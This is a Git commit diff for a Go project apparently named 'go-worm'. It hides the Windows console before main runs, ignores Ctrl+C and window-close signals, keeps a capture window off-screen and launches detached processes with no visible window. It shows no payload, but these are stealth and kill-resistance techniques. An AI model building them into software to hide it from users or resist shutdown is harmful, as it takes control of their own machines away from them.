fix(windows): prevent console window flash
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
This commit is contained in:
@@ -7,3 +7,5 @@ func HideConsole() {}
|
||||
func ShowConsole() {}
|
||||
|
||||
func ProtectFromConsoleClose() {}
|
||||
|
||||
func AllowConsoleKill() {}
|
||||
|
||||
@@ -26,6 +26,13 @@ const (
|
||||
ctrlCloseEvent = 2
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Must run before main: a console-subsystem build otherwise flashes a
|
||||
// terminal during flag.Parse, which looks like a broken automation step.
|
||||
ProtectFromConsoleClose()
|
||||
HideConsole()
|
||||
}
|
||||
|
||||
// HideConsole hides any console window and detaches from it.
|
||||
func HideConsole() {
|
||||
hwnd, _, _ := procGetConsoleWindow.Call()
|
||||
@@ -56,6 +63,14 @@ func ProtectFromConsoleClose() {
|
||||
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
|
||||
}
|
||||
|
||||
// AllowConsoleKill restores default Ctrl+C handling for -foreground.
|
||||
func AllowConsoleKill() {
|
||||
if consoleCtrlCallback == 0 {
|
||||
return
|
||||
}
|
||||
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
|
||||
}
|
||||
|
||||
func consoleCtrlHandler(ctrlType uintptr) uintptr {
|
||||
switch uint32(ctrlType) {
|
||||
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
|
||||
|
||||
@@ -5,9 +5,8 @@ package instance
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
|
||||
@@ -23,12 +22,7 @@ func Launch(exe string, args []string) error {
|
||||
cmd.Stdin = nul
|
||||
cmd.Stdout = nul
|
||||
cmd.Stderr = nul
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW |
|
||||
windows.CREATE_NEW_PROCESS_GROUP |
|
||||
windows.DETACHED_PROCESS,
|
||||
}
|
||||
cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr()
|
||||
if err := cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user